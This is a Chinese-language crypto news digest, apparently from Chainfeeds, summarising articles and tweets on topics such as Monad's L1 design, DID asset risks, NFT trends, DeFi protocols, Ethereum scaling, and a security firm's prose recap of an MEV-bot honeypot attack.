    Chainfeeds 导读： Monad 是一个新 L1，正在通过构建超高性能的执行系统和共识机制来扩展 EVM。为何 Monad 不实现为 rollup？Monad 联合创始人 Keone 撰文解释原因，一是为了去中心化，二是为了提高性能，三是为了保持 Monad 的专注度。 文章来源： https://monadlabs.substack.com/p/monad-vs-rollups 文章作者： Keone（Monad 联合创始人） 观点： Keone（Monad 联合创始人）：1）去中心化。Rollup 目前缺乏去中心化区块生产的机制，这对于抗审查和真正的去中心化至关重要。2）性能，我们正在构建尽可能高性能和最便宜的系统，并且构建成 rollup 会对 Monad 的可扩展性施加限制。3）专注，我们相信，任何人都能运行的高性能的 EVM 执行环境，是大幅提高去中心化计算的范围和实用性的关键路线。Monad 团队非常专注于通过执行这一愿景来为加密空间做出贡献。【原文为英文】 内容来源 Keone（Monad 联合创始人）：Rollup 减去共识，添加 DA 依赖：rollup 没有共识机制，继承来将交易数据和 merkle 根推回到 DA 层的成本，继承了 DA 层的容量依赖及 ttf（交易延迟）。Monad 采取不同的方法，没有从区块链设计中移除共识，而是对其进行了大量优化，使其不妨碍执行。Monad 具有新颖的 BFT 算法和高性能的 p2p 层，并采用模块化设计，节点在执行前达成共识。在我们的设计中，执行与共识并行运行，稍微延迟，因此可以利用完整的区块时间。【原文为英文】 内容来源 Keone（Monad 联合创始人）：以太坊 DA 成本高，且容量有限，交易延迟很长。Monad 不是 rollup 的主要原因之一是因为我们针对性能进行了优化。我们不是为了避免开销而取消共识，而是简单地加速它。Monad 极大地提高了计算效率，使环境能够支持更多用户和应用程序的复杂性，同时仍允许用户在本地运行计算。为此，我们通过并行运行交易，并通过使用自定义后端大幅改进合约和状态存储。这些效率提升来自算法改进，而不是依赖硬件。【原文为英文】 内容来源  ( 17 min )
    .bit 研报：用户使用 DID 交易资产时存在五处潜在风险
    Chainfeeds 导读： 开源 Web3 身份协议.bit 近期发现并分析了使用 DID 进行资产交易时涉及的五处严重安全风险，并公布其风险提示，以向区块链行业发出警告，并建议用户避免使用 DID 发送或交换资产。本推文中文版由律动编译。 文章来源： https://m.theblockbeats.info/news/36212 文章作者： .bit 观点： .bit：DID 用于代表资产所有者在区块链上的唯一地址，可实现资产转移，而不需要输入复杂的长地址。DID 可用于向钱包或交易平台发送 Token 或资产，然后钱包或交易平台会使用该标识符来验证 Token 或资产的数据并发回响应。.bit 发现，风险就出现在钱包或交易平台使用的应用程序编程接口（API）中。 内容来源 .bit：API 可在不同平台上实现简单的数据传输，并提供钱包所需的来自 DID 的必要信息。在使用 DID 的完全安全的交易平台中，资产持有人会输入他们的 DID 名称，钱包会向 API 询问该名称的区块链地址，API 随后会返回相应的地址，钱包设置交易供用户批准，最后，钱包将交易发送到公共网络以完成资产转移。 内容来源 .bit：潜在风险：1）黑客进入服务器攻击 API 服务，篡改返回到查询的数据。2）API 服务内部人员篡改查询返回的数据。3）API 服务出现内部错误，导致返回到查询的数据出错。4）API 服务的服务器中用于同步数据的区块链节点落后于区块链网络，导致相关数据不是最新的，进而导致向查询发送错误的数据。5）DID 过期，并且在前用户不知情的情况下被其他用户注册。 内容来源
    【英文长推】NFT 领域发生范式转变，解读 6 个关键点
    Chainfeeds 导读： NFT 领域正在发生范式转变：在二级市场遭遇困境的同时，一级市场却在悄然成长。加密 KOL Panda Jackson 撰推解读 6 个关键点。 文章来源： https://twitter.com/pandajackson42/status/1642905722965852160 文章作者： Panda Jackson 观点： Panda Jackson：1）NFT 不仅限于 PFP / 数字艺术，在「铸造派对」上发布新产品是一种时尚，使 NFT 成为品牌与用户之间的纽带。项目可以传达他们的品牌故事并建立社区，而用户可以证明他们是早期采用者并展示他们的忠诚度。2）2）Open Edition（OE）盛行，与 10k PFP 不同，OE 没有初始发行上限，也称为限时版。收藏家有一个固定的时间范围来铸造，发行将在铸造结束后确定，OE 通常是免费的，以鼓励更广泛的参与。【原文为英文】 内容来源 Panda Jackson：3）Zora 的用户友好 NFT 创建工具普及了 NFT 铸造，使任何人都可以在几分钟内创建 NFT，而无需技术技能。到目前为止，已经有 8.1 千个创作者创建了 1.1 万个系列。71.8 万收藏家铸造了 325 万个 NFT。4）Zora 的新收费政策，在 2 月 12 日改为向买家收取 1 美元 / 铸造一个 NFT 的固定费用。【原文为英文】 内容来源 Panda Jackson：5）更多铸造基础设施正在蓬勃发展，它们将共同使 NFT 成为通往 Web3 经济的门户。6）有流量的项目会扩展到其他领域，铸造平台可以使用 Rservoir 来整合二级交易并在铸造结束后捕获交易量。同样，二级市场 / 聚合商可以渗透一级市场以获得增量用户。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 zkSync 生态近期加入并快速发展的五个新项目
    Chainfeeds 导读： zkSync 官方撰推盘点其生态近期加入并快速发展的五个新项目，涵盖基础解决方案、NFT 、数据预言机、DeFi 四个方面。 文章来源： https://twitter.com/zksync/status/1642920310054981633 文章作者： zkSync∎ 观点： zkSync∎：1）Ramp Network，非托管的加密基础设施，允许通过简单的用户体验、覆盖不同地区和支付方式，快速引流用户。轻松访问加密生态系统。2）Omnisea 全链 NFT 发射器，现已在 zkSync Era 主网上线，用户可以不受限制地轻松启动可定制的 NFT 空投。3）Kreatorland，NFT 发射器和市场，允许用户在 zkSync Era 上发布、铸造和交易 NFT，现已在主网上线。【原文为英文】 内容来源 zkSync∎：4）Redstone Finance，EVM 兼容的预言机提供商，其数据可以在 zkSync Era 主网上获得，包括 1100 多种资产的数据源，涵盖加密货币、股票、商品、NFT 等。5）Nexon Finance，借贷协议，允许用户使用 ETH 作为抵押品借出 USDC，旨在帮助用户更有效地借入借出加密资产。【原文为英文 内容来源  ( 2 min )
    DappRadar Q1 研报：DeFi TVL 超过 830 亿美元；NFT 交易量翻倍；OpenSea 失去市场主导地位
    Chainfeeds 导读： Dapp 数据追踪平台 Dapp Radar 发布 Q1 研报，分析不同赛道的 dapp 数据变化。总结得出 2023 年第一季度的 dapp 行业经历了高潮和低谷，链上指标和市场趋势出现波动。 然而总体情绪仍然乐观，因为加密行业继续展示出弹性。本文中文版由比推编译。 文章来源： https://www.bitpush.news/articles/3910872 文章作者： DappRadar 观点： DappRadar：2023 年第一季度，与上一季度相比，每日与 dapps 进行链上交互的唯一活跃钱包（dUAW）减少了 9.7%。其中区块链游戏继续占据行业主导地位，Q1 平均 dUAW 为 791474 ，在行业中占比 45.6%。ARB 空投于 3 月 23 日启动，导致 Arbitrum 的日交易量达到创纪录的 2,728,907，超过了以太坊和 Optimism。 内容来源 DappRadar：DeFi 的总锁仓价值（TVL）环比增长 37.44%，达到 833 亿美元。以太坊以 558 亿美元的 TVL 占主导地位，BNB Chain 以 20.69% 的增幅位居第二。基于社交的 dapp 本季度注册了 210,600 个 dUAW，比去年第三季度增长了 2,250%； 社交 dapp 占 DappRadar 链上活动的 12%。 内容来源 DappRadar：NFT 在 2023 年第一季度表现强劲，交易量增长 137.04% 至 47 亿美元，为 2022 年第二季度以来的最高水平。但是，3 月份月交易量下降 15.65% 至 17 亿美元，月销售额下降 4.63% 至 270 万美元。OpenSea 在 2023 年第一季度失去了 NFT 市场主导地位，市值占比为 2021 年 2 月以来最低。2023 年第一季度因黑客攻击和漏洞利用损失了 3.73 亿美元的资金，比上一季度的 50 亿美元大幅下降 92.60%。 内容来源  ( 6 min )
    【英文长推】Curve War 加剧，解析 Spiral DAO 如何使自己与众不同
    Chainfeeds 导读： Spiral DAO 通过增持 $CRV、$BAL、$FXS 和其他 DeFi 蓝筹股的股份，试图根除自相残杀的抛售并抑制通胀压力。加密 KOL 0xShinChan 撰推解析 Spiral DAO 如何在 Curve War 中脱颖而出，使自己与众不同。涵盖其协议原理机制、双代币经济模型，以及即将到来的 ITO。 文章来源： https://twitter.com/0xShinChannn/status/1642920620697751552 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Spiral DAO 打造了一种创新的质押模型，以巩固其在 CRV、BAL 和 FXS 生态系统中的地位。采用类似绑定的方法，该模型分配原生协议代币（COIL），以优惠价格兑换其他代币。通过在 COIL 代币中提供比通过现有协议可获得的奖励更高的美元价值，Spiral DAO 中的「收益农民」可以将这一额外收益视为购买原生 COIL 代币的「折扣」，这可能使其比传统的挖矿方法更具吸引力。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：什么让 Spiral DAO 不同？精通国库再平衡。Spiral DAO 利用贿赂市场，通过精明的套利来保持平衡的国库风险敞口。增加 BAL 在国库中的比例，同时降低 CRV 的比例。Spiral DAO 的创新 DeFi 治理利用国库资产，通过战略性地出售贿赂选票和回购所需资产（如 CRV 或 COIL），为流动性提供者提供更高的 APR。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：Spiral DAO 不受一个贿赂市场的约束，而是平衡多个市场的流动性。通过将基础资产复合到策略中，DAO 的国库价值以卓越的 APR 增长，超过通货膨胀，同时仍然提供 LP 激励。飞轮效应对 Spiral DAO 至关重要，因为通过战略性投票销售对托管代币的需求推动了自我强化的增长周期。【原文为英文】 内容来源  ( 2 min )
    【英文长推】由受监管的金融机构管理的智能合约金库 OpenEden：我们为什么选择 T-Bills?
    Chainfeeds 导读： OpenEden 是第一个由受监管的金融机构管理的智能合约金库，允许用户随时交易美国国债。其创始人 Eugene Ng 撰推解析产品为何选择 T-Bills（国库券），分析其 TBILL 代币未来有何优势，认为 TBILL 代币在快速增长的代币化 RWA 领域中处于独特地位。 文章来源： https://twitter.com/Eug_Ng/status/1643049633663561729 文章作者： Eugene Ng 观点： Eugene Ng：为什么是 T-Bills（国库券）？1）AAA 级主权债务得到美国政府的充分信任和信用支持；2）DeFi 收益率低迷；3）棘手的通胀；4）担心更多的银行挤兑；5）约 1300 亿的美元供应；6）美联储终端利率 5%-5.25%。TBILL 金库运作流程：1）15 分钟内通过 KYC；2）将 USDC 存入 TBILL 金库；3）即时铸造 TBILL 代币；4）将 USDC 兑换成 TBILL 代币。【原文为英文】 内容来源 Eugene Ng：TBILL 代币未来优势：1）更多机构级别加入，包括星展银行、Saxo & IBKR、毕马威、Harneys、CAI。2）更多 DeFi 功能，允许随时实时铸造和赎回的链上金库，非美国投资者可以自由转移到非白名单地址，未来几周将有更多的 TBILL 代币用例，开启 DeFi 乐高模式。3）更加透明，链上实时交叉检查基础 T-Bills，托管者的每日储备报告，独立审计师每月对金库资产进行证明，受监管的基金管理员负责会计。【原文为英文】 内容来源 Eugene Ng：4）更加合规，代币发行实体被认可为 BVI 监管的专业基金，投资经理是由新加坡金融管理局监管的注册基金管理公司，链上分析公司 Elliptic 提供 KYC/AML 监控。总结：我们的目标是通过 DeFi 渠道将 RWA 带到链上，首先是我们的 TBILL 链上金库，它允许投资者 24/7 全天候完全保持在链上，同时享受拥有 T-Bills 的好处的符合法规的破产远程结构。【原文为英文】 内容来源  ( 2 min )
    Ticketmaster 将 NFT 与 票务结合，或成为下一个将上亿用户带入 Web3 的场景之一
    Chainfeeds 导读： 全球最大的票务公司 Ticketmaster 刚刚进行了将 NFT 和票务结合的尝试，带来诸多好处：艺人权益发放、防黄牛、避免假票、创造版税、数字身份构建等。CheersUP 研究员 Rubywang 撰推，从 Ticketmaster 的背景入手，分析其与 A7X 合作带来的多方影响，认为 Tiketmaster 的尝试对 NFT 带来「破圈」的借鉴意义。 文章来源： https://twitter.com/rubywxt1/status/1643040722621464576 文章作者： Rubywang.eth 观点： Rubywang.eth：Ticketmaster 与知名乐队 A7X（唱片销售超过 800 万张）合作，为其 10k NFT 粉丝社区提供 token-gated 的优先购票权益，获得了不错的用户反馈，甚至有三分之二的粉丝表示愿意为了艺人权益来学习如何使用数字钱包。Ticketmaster 成立于 1976 年，总部位于美国洛杉矶，在全球 32 个国家运营；其母公司 Live Nation Entertainment 占据北美演出市场 70% 的份额。 内容来源 Rubywang.eth：购票全流程真正实现了「验证真实粉丝」的目的；并且 5000+ NFT holder 里，已有 20% 购票并且反响相当不错。A7X 声明之后的门票都会集成 NFT 预购，并联合 Ticketmaster 欢迎更多艺术家采用这套方案，为粉丝提供类似的体验。除了演出购票，该方式对于很多需要排队预约的消费体验都可以复用，例如球鞋限量款发售，或者发放稀缺权益。 内容来源 Rubywang.eth：对 NFT 「破圈」的借鉴意义：该合作价值在于「有人把用户真正需要的价值做出来，并且推进落地」。Web3 的 builder & 艺术家与一家 web2 的头部公司联手，并且是在这家 web2 公司的「核心业务且关键的用户路径」上，同时完成了一次 toC 和 toB 的教育。 内容来源 Rubywang.eth：所以如何正确地「破圈」？答案就在长期主义的规划，给用户很好的教育和产品体验上。这个案例里，Ticketmaster 为粉丝社区提供 token-gated 的优先购票权益，相当于为其购票流程装了一个插件；我更期待之后把门票直接 NFT 化的案例，帮助购票者构建数字身份，实现更大生态的 Open Loyalty。 内容来源  ( 2 min )
    四个扩容团队聊以太坊前沿技术：去中心化 Sequencer、EOF、4844 和模块化
    Chainfeeds 导读： 以太坊上海升级峰会活动邀请了四个扩容方案团队，讨论以太坊的前沿技术，包括可能在下次升级中包含的 EOF 和 EIP-4844、去中心化 Sequencer 和模块化区块链等新方向。ChainFeeds 作为 Co-host 参与了此次 Twitter Space，并将此词活动的讨论经过 OpenAI Whisper 转译为文章。 文章来源： https://chainfeeds.substack.com/p/sequencereof4844 文章作者： Zhixiong Pan 观点： Zhixiong Pan：话题一：EOF（以太坊对象格式）。EOF 原计划在上海升级中实现，但已推迟。对于以太坊的自字节码提供一种前置的数据结构，有利于未来 EVM 的字节码特性和智能合约的升级。该改变对应用开发者无直接影响，但可能会对 zkEVM 产生影响。EOF 带来了两个优化：将智能合约代码验证前置和提供了一种扩展能力。对于 EOF 是否会进入下一阶段的升级，还会有一定的争议。 内容来源 Zhixiong Pan：话题二：去中心化 Sequencer（定序器）。Layer 2 网络的 Sequencer 仍处于较早阶段，大多数是单一 Sequencer。去中心化 Sequencer 的几种方案：拜占庭容错（BFT）、MEV 拍卖、共享 Sequencer（Flashbots）、VDF 等。目前最有前景的是基于重用 Layer 1 验证器的方案和基于拜占庭容错（BFT ）的方案，引入 BFT 作为 Sequencer 需要在 Layer 2 中引入一个 BFT 共识。 内容来源 Zhixiong Pan：话题三：EIP-4844（Proto-Danksharding）。EIP-4844 的目的并非扩容，而更多是为了实现未来 Danksharding 所需的一整套概念，包括 Binary Large Object（blob）及其 Data Hash。EIP-4844 并不会比当前以太坊数据上链方式带来显著改进，但使用 Danksharding 理论上可以达到更高吞吐量级。 内容来源 Zhixiong Pan：话题四：模块化区块链。Jolestar 觉得模块化的区块链是 Layer 2 思路的演化结果，可以将不同模块拆开并让不同系统承担。Dorothy Liu 认为区块链行业已从胖协议瘦应用进化到胖应用瘦协议，焦点转向实际应用场景，需要提供更多样的选择。Qi Zhou 认同模块化的发展方向，并认为应该借鉴成熟的计算机体系。Ye Zhang 则认为过度模块化可能会导致安全问题，需要社区共识来推动创新。 内容来源  ( 9 min )
    【英文长推】新项目前瞻｜代替预编译的方式降低 gas 成本的解决方案：opclave
    Chainfeeds 导读： 以太坊交易的验证成本较低，但用户操作的签名验证成本昂贵。聚合签名可以用一个密钥对验证一组用户操作，降低 gas 成本。加密货币 KOL Dogan 详细讲述其中原理并介绍了用聚合签名降低 gas 成本的解决方案 opclave。 文章来源： https://twitter.com/doganeth_en/status/1642300603849224195 文章作者： Dogan 观点： Dogan：在普通的以太坊交易中，私钥签名创建签名。通过计算公钥 + 信息 + 签名，我们可以确定其是否真实。普通以太坊交易的验证成本很低，因为签名验证规则已经硬编码到共识层中。然而，在大多数情况下，用户操作的签名验证成本非常昂贵，因为它没有进行优化。【原文为英文】 内容来源 Dogan：用户可以修改 GETH 并添加一些预编译（预定义函数）来优化签名的验证 gas 成本，但需要从共识层进行更改，并且很难在通用的链上使用。所以我们需要一个更好的解决方案：聚合签名。与验证每个用户操作的签名不同，我们可以聚合一组用户操作，并使用一个密钥对验证所有有效性，极大地降低用户操作签名验证的 gas 成本。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 15 个独特且创新的即将到来的项目：Orange Finance、GND Protocol、Caldera...
    Chainfeeds 导读： 加密货币 KOL hangry 整理了 15 个值得关注的即将到来的项目，包括流动性管理工具 Orange Finance、RWA 协议 Florence 、永续协议 Derivio 等。 文章来源： https://twitter.com/kindahangry/status/1642874649527881729 文章作者： hangry 观点： hangry：1）Orange Finance 是一个 delta 中性的 Uniswap V3 流动性管理工具，充当真正的收益金库。他们的 ETH-USDC 金库在回溯测试后成功获得了 25% 的 APR，并且计划扩展到其他链 / 池子。2）GND 正在创建由 Gain 的 gDAI 和 GMD 的 gmdUSDC 组合支持的收益稳定币。该协议将通过在 Uniswap V3 上套利挂钩和赚取费用来产生收入，并将该收入分配给 GND 利益相关者。【原文为英文】 内容来源 hangry：3）Caldera 允许协议轻松部署高性能、可定制和特定于应用程序的 Layer 2 区块链。随着链模块化和互操作性变得越来越先进，特定于应用程序的 rollup 将对协议更有意义。4）Renegade 正在创建一个 L2 原生暗池 AMM。暗池通过端到端加密订单来提供完全私密的交易体验。隐私对于区块链技术的成功至关重要，而 Renegade 可能会是其解决方案。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Arbitrum 值得长期投资吗？
    Chainfeeds 导读： Arbitrum 正在构建以太坊扩展解决方案，基于 Optimistic Rollups L2 是他们的旗舰产品，他们正在努力构建数百个 L2 的生态系统。加密货币 KOL DYOR 从代币经济学、DeFi 数据、NFT 数据等方面对 Arbitrum 进行了详细的基本面分析。 文章来源： https://twitter.com/dyorcryptoapp/status/1642847639925559296 文章作者： DYOR 观点： DYOR：代币经济学：超过 44% 的 ARB 供应量分配给团队 / 投资者，有 12 个月锁仓期，并且之后 3 年每月线性解锁。11.62% 的供应量空投给了早期用户。ARB 是一种治理代币，将用于参与 DAO 治理。【原文为英文】 内容来源 DYOR：L2 链：Arbitrum One 是使用 Arbitrum Rollup 技术创建的旗舰 L2 链。它专为 DeFi 特定用例而构建。Arbitrum NOVA 是一种超低成本的 L2 链，采用 anytrust 技术支持游戏和社交媒体用例。【原文为英文】 内容来源 DYOR：在 Arbitrum 上的 DeFi：协议数量：267；总 TVL：22 亿美元；顶级协议：GMX、Radiant、Camelot；市场份额：4.42%。在 Arbitrum 上的 NFT：销售额（30 天）：607 万美元；顶级市场：Trove、Opensea、TofuNFT ；顶级收藏品：Smol Brain, The Lost keys of chronos ；市场份额: 3%。【原文为英文】 内容来源  ( 2 min )
    市场观点：减半叙事再起，分析师一致看好比特币后市
    Chainfeeds 导读： 深潮 TechFlow 精选出各类知名交易员或者加密研究机构关于当前二级市场的观点，包括加密货币数据公司 Santiment、著名经济学家和加密分析师 Alex Krüger 等。 文章来源： https://www.techflowpost.com/article/detail_11644.html 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：加密货币分析师 Loma：比特币最终会突破 28,800 美元的阻力位，并预测比特币将在 4 月结束前突破至 38,000 美元。对于莱特币，正准备反弹至 100 美元的关键心理阻力位，并可能反弹至 140 美元。 内容来源 深潮 TechFlow：加密货币数据公司 Santiment：建议交易者密切关注前五大稳定币的市值，这些稳定币包括 USDT、USD Coin、Binance USD、Pax Dollar 和 Dai。比特币持续上升可能取决于按市值计算的前五大稳定币的增长。然而，比特币持有者需注意，在 2023 年最大的五笔比特币交易都发生在 3 月份，并且大型 BTC 持有者可能开始获利。 内容来源 深潮 TechFlow：著名经济学家和加密分析师 Alex Krüger：比特币现在作为一种资产扮演着不同的角色，用于财富保值、风险调整回报、交易和对冲法定系统。比特币从低点上涨 10 倍的可能性仍然存在，在下一个牛市高峰期价格将达到 150,000 美元左右。 内容来源  ( 2 min )
    【英文长推】Osmosis 新提案解析：能否拯救低迷币价
    Chainfeeds 导读： Cosmos 生态 DEX Osmosis 代币 OSMO 比价从 ATH 下降了 14 倍，而 Cosmos 代币 ATOM 仅下降了 4 倍。Osmosis 为此发布 3 个新提案，只在控制通货膨胀并鼓励质押。Cosmos 生态研究员 Le Tang 分析了新提案的作用和影响，并给出了长期的建议。 文章来源： https://twitter.com/LeThang137/status/1642896461225693185 文章作者： Le Thang 观点： Le Thang：提案 1：减少 50% 的排放，意味着通货膨胀会下降。结果：缩小质押者和持币者之间的差距；减少 OSMO 价格的波动。提案 2：调整排放比例。LP 从 45% 降为 20%，质押从 25% 上升至 50%。结果：质押 APR≥通货膨胀率；大部分 LP 池将与 OSMO 和超流态质押（superfluid staking）配对。【原文为英文】 内容来源 Le Thang：提案 3：超流态质押 OSMO 比例由 50% 上升至 75%。这将弥补 LP 的 APR，因为 LP 的奖励被严重削弱了（提案 2）。结果：由于 LP 池中的大部分 OSMO 将被超流态质押，所以整体质押 APR 将减少。总结：1. 减少通货膨胀以便稳定价格；2. 将通货膨胀的奖励分配给质押者。短期对质押者有力，但本质只是防止 OSMO 持有者收益被稀释。【原文为英文】 内容来源 Le Thang：可能的长期解决方案：1. 通过捕获 MEV、增加交易费用等为 OSMO 积累价值；2. 通过与其他团队或风险投资公司的场外交易换取稳定币储备，使社区池代币多样化。【原文为英文】 内容来源  ( 2 min )
    【英文】Cosmos 流动性质押模块如何解锁十亿级别资产流动性
    Chainfeeds 导读： 区块链研究机构 New Order 发文阐述 Cosmos 流动性质押模块（LSM）对生态的意义、与 LSM 的交互形式及其对模块化生态系统发展的期望。 文章来源： https://medium.com/neworderdao/the-cosmos-lsm-the-catalyst-for-interchain-defi-65a21573cf98 文章作者： New Order 观点： New Order：Cosmos 流动性质押模块（LSM）被设计为 Cosmos SDK 的模块化组件，这意味着任何 Cosmos 链都可以实现 LSM。借助 LSM，Cosmos 可以创建一个繁荣的 LSD 生态系统，保护跨多个 Cosmos 区域的应用程序，同时提供类似于以太坊和其他 L1 网络上的 LSD 的用户体验。【原文为英文】 内容来源 New Order：Cosmos LSM 的影响：1. 新治理市场和原语；2. 新类型的 LSD；3. 新的资产灵活性；4. 基于 LSD 的扩展应用；5. 阶梯的流动性收益；6. 提高安全性。目前有超过 32 亿美元的 Cosmos 质押资产从未真正流动过，LSM 将打破这个僵局。【原文为英文】 内容来源 New Order：与 LSM 交互方式：LSM 将主要用于与链间账户（IA）和链间查询（ICQ）交互。其中，IA（ICS-27）通过允许不同链上的智能合约之间交换数据和状态来实现可组合性。ICQ 使模块能够使用链间通信（IBC）和链间账户（IA）查询其他应用链。除了查询资产外，ICQ 还可以根据用户在其他链上持有的代币为其分配适当的治理权。【原文为英文】 内容来源  ( 12 min )
    IOSG 周报：从存储到计算，去中心化存储复兴
    Chainfeeds 导读： IOSG 新一期周报探讨了去中心化存储中的代表项目 Filecoin 和 Arweave，从二者对去中心化存储的实现、存储数据冗余、数据检索的解决方案，分析了项目的异同，并简述了中心化存储的发展现状和方向。 文章来源： https://mp.weixin.qq.com/s/Lc-uV4ot97GrjG6gPnex1w 文章作者： IOSG Ventures 观点： IOSG Ventures：Filecoin 和 IPFS 在遍布世界各地的存储供应商之间分发内容寻址的（content-addressed）数据集，以增加数据的冗余性和弹性。Filecoin 上 EVM 兼容的 FVM 提出了边缘计算（edge computation）结合链上协调执行计算的方案，对存储供应商的工作进行激励。 内容来源 IOSG Ventures：Arweave 上的去中心化计算通过 SmartWeave 智能合约协议实现，具备直接处理丰富数据的能力。Arweave 协议设计从技术上保证永久存储的实现，更适用于高价值数字资产，如 NFT metadata 的保存。 内容来源 IOSG Ventures：存储数据冗余：Filecoin 诉诸经济激励手段，Arweave 则借助协议设计。数据检索：Filecoin 中数据检索服务是一套单独的经济激励系统，Arweave 的 SPoRA 共识机制除了上述永久存储和存储冗余的优点，也一石三鸟地提高了数据检索和访问速度。 内容来源  ( 33 min )
    【英文】Aave 战略负责人：浅谈去中心化的四个阶段
    Chainfeeds 导读： Aave 战略负责人 Marc Zeller 探讨了去中心化的四个主要阶段的特征，以及 dApp 和 DAO 在这四个阶段的演变路径。他认为，从第 3 阶段跨越到第 4 阶段非常困难，项目方应重点建设第 3 阶段。 文章来源： https://aavechan.notion.site/aavechan/The-Decentralization-Journey-53e9ae37f3ac42809e92b7007ff91a7f 文章作者： Marc Zeller 观点： Marc Zeller：阶段 1 专制。团队几乎拥有完全的控制权，几乎没有制衡。虽然这对一个应用程序来说似乎是错误的，但这是一个非常有效的阶段，可以建立 MVP 和交付，以试图达到 PMF。在阶段 1，代币持有人对决策的影响有限，主要是作为项目的支持者。【原文为英文】 内容来源 Marc Zeller：阶段 2 寡头。随着 dApp 进展到寡头阶段，去中心化开始形成。这个阶段通常是在融资之后，代币供应集中于早期投资者。寡头阶段是在保持效率的同时逐步引入去中心化的一个微妙平衡。代币持有者开始在治理方面获得更多的权力，这个阶段的主要目标是为进入成熟的 DAO 阶段奠定基础。【原文为英文】 内容来源 Marc Zeller：阶段 3 成熟 DAO。在该阶段，项目演变为流动性为代表的民主体。只有当代币供应的分布足以冲淡第二阶段寡头的影响时，才能实现这一阶段。另一条路径是寡头将他们的投票权委托给独立的代表，这些代表拥有越来越大的决策自由度。【原文为英文】 内容来源 Marc Zeller：阶段 4 无状态。该阶段适合完全成熟的项目，或是小的 DeFi 「乐高块」。目前，LUSD、以太坊和比特币是我认为的第四阶段的唯一重要角色。【原文为英文】 内容来源
    【英文长推】PancakeSwap V3 新功能解析：哪些升级值得期待
    Chainfeeds 导读： 去中心化交易平台 PancakeSwap 宣布已经在以太坊和 BNB Chain 网络上线 V3 版本。PancakeSwap V3 作为 Uniswap V3 的分叉，在整合了 Uniswap V3 高资本效率的同时，也增强了用户体验。加密 KOL Ignas 对 PancakeSwap V3 的新功能进行了解析。 文章来源： https://twitter.com/DefiIgnas/status/1642940267442630657 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：PancakeSwap 改善了 Uniswap V3 的两个痛点：1. 自动 APR 显示。它为 V3 LP 提供基于流动性、历史交易量和头寸配置的实时 APR 数据，消除了对第三方工具的需求。2. 改进的投资回报率计算器。它使 LP 能够估计收益率和无常损失，从而轻松调整头寸。此外，PancakeSwap 还将推出自动头寸管理器，实现一键存入流动性，并将流动性维持在一定范围内，从而便捷地赚取奖励。【原文为英文】 内容来源 Ignas | DeFi Research：另外两项有用的升级包括：先进的内置限价单（即将推出）、整合了 V3、V2、StableSwap 和做市商的流动性。PancakeSwap 还支持 0.01%、0.05%、0.25% 和 1% 交易费用层级。总言之，PancakesSwap V3 改善了散户的用户体验，且同时受益于 Uni V3 的资本效率。【原文为英文】 内容来源  ( 2 min )
    【英文长推】复盘 MEV 机器人「黑吃黑」事件：攻击者如何诱导三明治攻击
    Chainfeeds 导读： 4 月 3 日，多个 MEV 机器人遭受恶意三明治攻击，损失约 2500 万美元。区块链安全机构 BlockSec 复盘了该事件，并发现攻击者使用了「蜜罐交易」（honeypot tx）来诱导 MEV 机器人进行强交易，且该「蜜罐交易」拥有一个自我保护的机制。 文章来源： https://twitter.com/BlockSecTeam/status/1642971478458249227 文章作者： BlockSec 观点： BlockSec：蜜罐交易：攻击者使用了了 8 个蜜罐交易诱导 MEV 机器人进行套利。以其中一个为例，攻击者在一个流动性较差的池子中使用 0.35 ETH 兑换 158 STG。这笔交易被 MEV 机器人捕获，并花费 2454 ETH 耗尽该池的 STG。攻击者预先知道他将是 16964664 区块的矿工，因此他使用反向交易替换了中间交易，并提取了资金池中由 MEV 机器人添加的 ETH。【原文为英文】 内容来源 BlockSec：自我保护：此外，蜜罐交易有一个自我保护机制。假设没有三明治交易来攻击蜜罐交易，攻击者将检查池子的状态，并进行反向交易来保护自己的 0.35 个 ETH。【原文为英文】 内容来源 Beosin：总结：一是因为攻击者利用 MEVbot 相关 Bug，这是攻击能够完成的主要原因。二是因为 MEV 每次在低流动性池中套利仍然会使用自身所有的资金，这是攻击损失如此大的可能原因。三是因为在 Uniswap V3 中可以用少量资金获得同样的代币，而其价值在 V2 池中已经被操纵失衡，这是攻击中使用的主要手法。 内容来源  ( 2 min )
    数据：Uniswap 的现货市场交易量突破 700 亿美元，超 Coinbase
    数据：Uniswap 的现货市场交易量突破 700 亿美元，超 Coinbase 据 The Block Research 数据，Uniswap 的现货市场交易量自 2022 年 1 月以来首次超过 700 亿美元，再次击败 Coinbase。3 月份 Uniswap 的现货市场交易量达到 716 亿美元 —— 比 Coinbase 高出 45%。Coinbase 3 月的交易量为 494 亿美元，高于 2 月份的 400 亿美元。Coinbase 的交易量连续第二个月低于去中心化交易所 Uniswap。 内容来源  ( 145 min )
    Arbitrum AIP-1 提案未获投票通过，反对率近 77%
    Arbitrum AIP-1 提案未获投票通过，反对率近 77% Snapshot 投票页面显示，Arbitrum 基金会发起的综合治理包 Arbitrum 改进提案（AIP-1）投票未获通过，反对票占比达 76.67%。 Arbitrum 基金会在社区的强力反对下，拟将 AIP-1 提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改，据悉 7.5 亿枚 ARB Token 的分配或将进行独立投票，同时为「生态系统发展基金」提供提供有关如何使用资金的背景信息和一份于基金会预算的「透明度报告」。 内容来源
    PancakeSwap 在以太坊和 BNB Chain 推出 V3 版本
    PancakeSwap 在以太坊和 BNB Chain 推出 V3 版本 去中心化交易平台 PancakeSwap 宣布已经在以太坊和 BNB Chain 网络上线 V3 版本。PancakeSwap V3 将引入 0.01%、0.05%、0.25% 和 1% 四个等级的交易费，并通过将资金集中在交易最活跃的价格范围内，从而降低交易滑点。 内容来源  ( 33 min )
    KuCoin Wallet 更名为 Halo Wallet 并完成首轮融资
